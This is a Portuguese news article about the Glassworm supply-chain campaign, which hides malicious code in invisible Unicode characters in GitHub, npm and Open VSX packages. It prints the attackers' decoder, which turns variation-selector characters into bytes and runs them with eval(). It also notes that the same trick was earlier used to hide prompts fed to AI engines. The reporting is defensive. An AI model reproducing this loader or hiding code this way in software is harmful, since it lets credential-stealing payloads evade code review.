Ataque de cadeia de suprimentos usa código Unicode invisível para evitar detecção

Pesquisadores de segurança da Aikido Security descobriram um ataque à cadeia de suprimentos que usa código Unicode invisível para ocultar funções maliciosas em pacotes enviados para GitHub, NPM e Open VSX. O grupo de ataque, apelidado de Glassworm, enviou 151 pacotes maliciosos para o GitHub de 3 a 9 de março de 2026.
Como funciona o código invisível
Os pacotes maliciosos usam caracteres Unicode das Áreas de Uso Público (também chamadas de Acesso de Uso Público) que são invisíveis quando visualizados em editores, terminais e interfaces de revisão de código. Embora a maior parte do código pareça normal, funções e cargas maliciosas são renderizadas usando esses caracteres invisíveis, tornando as revisões manuais de código e as defesas tradicionais ineficazes.
Os caracteres Unicode invisíveis representam cada letra do alfabeto americano quando processados por computadores, mas são exibidos como espaços em branco ou linhas vazias para humanos. Os interpretadores JavaScript podem ler e executar esses caracteres como código normal.
Implementação técnica
Em um pacote analisado, os atacantes codificaram uma carga maliciosa usando caracteres invisíveis. O código inclui uma função decodificadora que extrai os bytes ocultos e os passa para eval():
const s = v => [...v].map(
w => (
w = w.codePointAt(0),
w >= 0xFE00 && w <= 0xFE0F ? w - 0xFE00 :
w >= 0xE0100 && w <= 0xE01EF ? w - 0xE0100 + 16 :
null
)
).filter(n => n !== null);
eval(Buffer.from(s(``)).toString('utf-8'));
A string com crase passada para s() parece vazia em visualizadores, mas contém caracteres invisíveis que decodificam para uma carga maliciosa completa. Em incidentes anteriores, as cargas decodificadas buscavam e executavam scripts de segundo estágio usando Solana como canal de entrega para roubar tokens, credenciais e segredos.
Características do ataque
Os pacotes maliciosos são particularmente difíceis de detectar porque:
- As partes visíveis do código são de alta qualidade e realistas
- As alterações circundantes incluem ajustes na documentação, incrementos de versão, pequenos refatoramentos e correções de bugs
- As alterações são estilisticamente consistentes com os projetos-alvo
- Pesquisadores suspeitam que LLMs são usados para gerar pacotes convincentemente legítimos
Esta técnica Unicode foi usada pela primeira vez em 2024 para ocultar prompts maliciosos alimentados a motores de IA, e desde então foi adaptada para ataques de malware tradicionais. Os 151 pacotes detectados provavelmente representam uma pequena fração da campanha, já que muitos foram excluídos desde o envio inicial.
📖 Leia a fonte completa: HN AI Agents
👀 See Also

Google TIG relata primeiro exploit de zero-day gerado por IA encontrado na natureza
O Google Threat Intelligence Group identificou um ator de ameaças usando uma exploração de dia zero supostamente desenvolvida com IA, marcando o primeiro uso ofensivo observado de IA para exploração de vulnerabilidades de dia zero.

Ataque em grande escala à cadeia de suprimentos do NPM e PyPI atinge TanStack, Mistral AI e mais de 170 pacotes
Um ataque coordenado comprometeu mais de 170 pacotes npm e 2 pacotes PyPI, visando TanStack (42 pacotes), SDKs da Mistral AI, UiPath, OpenSearch e Guardrails AI. Versões maliciosas executam um dropper que exfiltra credenciais e investiga metadados da nuvem.

Modelo de Segurança do NanoClaw para Agentes de IA: Isolamento de Contêineres e Código Mínimo
O NanoClaw implementa uma arquitetura de segurança onde cada agente de IA é executado em seu próprio contêiner efêmero com acesso de usuário não privilegiado, sistemas de arquivos isolados e listas de permissão de montagem explícitas. A base de código é deliberadamente mínima, com cerca de um processo e um punhado de arquivos, dependendo do SDK de Agentes da Anthropic em vez de reinventar funcionalidades.

Personalize Sua OpenClaw: Economize e Aprimore a Segurança
Descubra como personalizar seu OpenClaw para não apenas economizar dinheiro, mas também fortalecer sua segurança, conforme discutido no subreddit r/openclaw.